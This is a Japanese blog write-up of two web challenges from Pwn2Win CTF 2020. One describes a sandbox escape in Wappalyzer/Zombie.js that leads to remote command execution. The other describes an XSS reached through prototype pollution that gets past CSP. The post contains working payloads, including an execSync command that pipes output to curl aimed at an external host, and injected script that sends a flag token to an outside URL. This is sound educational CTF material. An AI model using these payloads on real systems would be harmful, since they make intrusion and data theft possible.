st98 の日記帳


[ctf] Pwn2Win CTF 2020 の write-up

5 月 30 日から 6 月 1 日にかけて開催された Pwn2Win CTF 2020 に、チーム zer0pts として参加しました。最終的にチームで 2842 点を獲得し、順位は 50 点以上得点した 401 チーム中 6 位でした。うち、私は 2 問を解いて 692 点を入れました。

他のメンバーの write-up はこちら。

以下、私が解いた問題の write-up です。

競技時間中に解いた問題

[Web 298] Dr Manhattan (19 solves)

pwn m3 h4rd3r!

Automated tools are NOT required and NOT allowed, it’s a technical challenge!

(URL)

Author: caioluders

与えられた URL にアクセスすると、URL の入力フォームが表示されました。以下のようなソースコードも添付されていました。

<style>
:root{
    color:white;
}
canvas {
  position: absolute;
    top: 0;
    left: 0;
  z-index: -3 !important;
}
</style>

<form action="/" method="post">
    <label for="url">URL :</label>
    <input name="url" id="url" type="text" value="https://google.com"><br>
    <input type="submit" value="Go">
</form>

<a href="/?source">source plz</a>

<script src="https://cdn.jsdelivr.net/npm/p5@1.0.0/lib/p5.min.js"></script>
<script src="trippy.js"></script>
<!-- g0t sh3ll ? -->

<?php

if ( isset($_GET['source']) ) {
    show_source('index.php');
}

if ( strpos($_POST['url'],'http://') === 0 || strpos($_POST['url'],'https://') === 0 ) {
    echo system('timeout 8s wappalyzer ' . escapeshellarg(escapeshellcmd($_POST['url'])));
    // npm install wappalyzer@5.9.34
}

?>

Wappalyzer という、与えた URL で使われている技術などを教えてくれるツールの CLI 版を system で呼び出すようです。

escapeshellarg(escapeshellcmd($_POST['url'])));escapeshellcmdescapeshellarg で二重にエスケープしている様子が CVE-2016-10033 を思い起こさせますが、escapeshellarg が外側に来ているため OS コマンドインジェクションはできません。

Wappalyzer は npm でインストールしたものを使っているようですが、パッケージ情報を見ると 5.9.34 は 1 ヶ月前にリリースされたもので、最新バージョンは 6.0.2 であることがわかります。割と新しく見えますが、バージョンを固定しているということは脆弱性があるのでしょうか。

リリースログやバージョン間の diff を見てみましたが脆弱性は見つけられず、とりあえず挙動を確認することにしました。

Wappalyzer は Web サーバで使われているサービスの種類だけでなく、バージョンまで取得してくれます。どのように取得しているか気になりソースコードを読んでいると、例えば Apollo では以下のように __APOLLO_CLIENT__ というオブジェクトの version というプロパティにアクセスしているように思えました。


    "Apollo": {
      "cats": [
        59
      ],
      "icon": "Apollo.svg",
      "js": {
        "__APOLLO_CLIENT__": "",
        "__APOLLO_CLIENT__.version": "^(.+)$\\;version:\\1"
      },
      "website": "https://www.apollographql.com"
    },

Wappalyzer がどれほど柔軟に対応してくれるか気になり、以下のように Object.keys(this) を文字列化したものを __APOLLO_CLIENT__version プロパティに代入するコードを用意しました。

<script>
const a = Object.keys(this) + '';
__APOLLO_CLIENT__ = {"version": a};
</script>

これにアクセスさせると、Wappalyzer はおそらく動的解析をしているであろうことと、以下のようなプロパティの存在が確認できました。

…browser,opener,resources,MutationEvent,Function,fetch,Request,Response,_allWebSockets,DataView,_evaluate,setImmediate,clearImmediate,requestAnimationFrame,cancelAnimationFrame,EventSource,closed,_destroy,_history,_submit,_request,_response…

FunctionrequestAnimationFrame はそこらへんのブラウザでもビルトインで持っているプロパティですが、browser_allWebSockets はそうではありません。これは怪しい。

GitHub で _allWebSockets を検索すると Zombie.js のコードがヒットします。Wappalyzer は puppeteer か Zombie.js を使っているようですから、このためでしょう。

ただ、browser などはアクセス先の Web ページからアクセスできてしまってよいプロパティなのでしょうか。サンドボックスからのエスケープのようなことができたりしないのでしょうか。

検証してみます。browserconstructor をたどってサンドボックス外の Function を取得し、これを使って process.mainModule.require を取得できないか試します。

<script>
const require = browser.constructor.constructor('return process')().mainModule.require;
const os = require('os');
const a = os.platform();
__APOLLO_CLIENT__ = {"version": a}
</script>

これにアクセスさせると、結果は linux になりました。成功したようです。

今度は child_processrequire して OS コマンドが実行できないか試してみましょう。

<script>
const require = browser.constructor.constructor('return process')().mainModule.require;
const child_process = require('child_process');
const a = child_process.execSync('ls -la / | curl https://(省略) -d @-') + '';
__APOLLO_CLIENT__ = {"version": a}
</script>

結果は以下のようになりました。

total 100
drwxr-xr-x   1 root root  4096 May 29 09:43 .
drwxr-xr-x   1 root root  4096 May 29 09:43 ..
-rwxr-xr-x   1 root root     0 May 29 09:43 .dockerenv
drwxr-xr-x   1 root root  4096 May 29 09:41 bin
drwxr-xr-x   2 root root  4096 May  2 16:39 boot
drwxr-xr-x   5 root root   340 May 29 10:25 dev
drwxr-xr-x   1 root root  4096 May 29 09:43 etc
-r--r-----   1 root gnx     60 May 29 09:18 flag.txt
-rwxr-sr-x   1 root gnx  16808 May 29 09:18 get_flag
drwxr-xr-x   1 root root  4096 May 29 09:42 home
drwxr-xr-x   1 root root  4096 May 15 12:49 lib
drwxr-xr-x   2 root root  4096 May 14 14:50 lib64
drwxr-xr-x   2 root root  4096 May 14 14:50 media
drwxr-xr-x   2 root root  4096 May 14 14:50 mnt
drwxr-xr-x   2 root root  4096 May 14 14:50 opt
dr-xr-xr-x 149 root root     0 May 29 10:25 proc
drwx------   1 root root  4096 May 29 19:59 root
drwxr-xr-x   1 root root  4096 May 15 12:49 run
drwxr-xr-x   1 root root  4096 May 29 09:41 sbin
drwxr-xr-x   2 root root  4096 May 14 14:50 srv
dr-xr-xr-x  13 root root     0 May 29 10:25 sys
drwxrwxrwt   1 root root  4096 May 30 23:14 tmp
drwxr-xr-x   1 root root  4096 May 14 14:50 usr
drwxr-xr-x   1 root root  4096 May 15 12:41 var

OS コマンドを実行することができました。/get_flag を実行させるとフラグが得られました。

CTF-BR{0ur_0day_w4s_f1x3d_l1t3r4lly_y3st3rd4y_l1k3_wtf????}

[Web 394] Matrona (6 solves)

Last year there was an inside joke among Rebellious Fingers’ members that “Calc” was a baby challenge. What about her mother?

Automated tools are NOT required and NOT allowed, it’s a technical challenge!

(URL)

与えられた URL にアクセスすると、以下のような HTML が返ってきました。

<!DOCTYPE html>
<html lang="en">
  	<head>
	    <title>Matrona</title>
	    <script nonce="OTVlZWYxYTJkYWM3NWZkYQ==">
	    	onhashchange = () => alert(1337);
		</script>
	</head>
	<body>
		<!-- /?calc=1*7*191 -->
		<h3>If you find any <a href="#calc">bugs</a> in our application, please report it to us!</h3>
		<form action="/report" method="post">
	    	<input type="hidden" name="flag" value="CTF-BR{real_flag_will_be_here_if_accessed_from_admin_session}">
	    	<input type="text" name="url" placeholder="(省略)" size="39"><br><br>
	    	<div class="g-recaptcha" data-sitekey="(省略)"></div><br>
	    	<input type="submit" value="Send report"><br><br>
	    </form>
	    <script src="https://www.google.com/recaptcha/api.js" nonce="OTVlZWYxYTJkYWM3NWZkYQ=="></script>
	</body>
</html>

以下のような CSP ヘッダも付与されています。

content-security-policy: default-src 'none'; script-src 'nonce-OTVlZWYxYTJkYWM3NWZkYQ=='; frame-src 'self' https://www.google.com/recaptcha/; form-action https://(省略)/report; base-uri 'none';

nonce はもちろんアクセスのたびに変わります。

とりあえず、コメントで誘導されているように /?calc=1*7*191 にアクセスしてみると、以下のように alert の引数が変わりました。

onhashchange = () => alert(1*7*191);

使うことのできる文字種の制限はありません。ただし、aaaaaaaa ではそのまま出力され、aaaaaaaaa1337 が出力されることから、8 文字以下でなければならないという制約があるようです。

もし calc が配列やオブジェクトになればどうなるか気になり /?calc[a]=abc にアクセスしてみたところ、[object Object] が出力されました。calc が文字列型かどうかは確認されていないようです。

配列の場合はどうなるか /?calc[]=a&calc[]=b にアクセスしてみたところ、今度は 1337 と表示されました。なぜでしょうか。

Prototype Pollution ができないかいろいろ試していると、/?calc[__proto__][]=aaaaaaaaaaaa で 9 文字以上のはずの aaaaaaaaaaaa がそのまま出力されました。これは calc にアクセスすると ['aaaaaaaaaaaa'] が返ってきて、calc.length1 になるためでしょう。

あとはやるだけです。CSP のせいで (new Image).src = '…' は使えませんから、location で適当な URL に遷移させてフラグを抽出します。/?calc[__proto__][]=);window.onload=()=>{location=%27https://(省略)?%27%2bdocument.getElementsByName(%27flag%27)[0].value}// で以下のような HTML が出力され、フラグが得られました。

<script nonce="OTVlZWYxYTJkYWM3NWZkYQ==">
  onhashchange = () => alert();window.onload=()=>{location='https://(省略)?'+document.getElementsByName('flag')[0].value}//);
</script>
CTF-BR{b3tt3r_b3_s4f3_th4n_s0rry}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳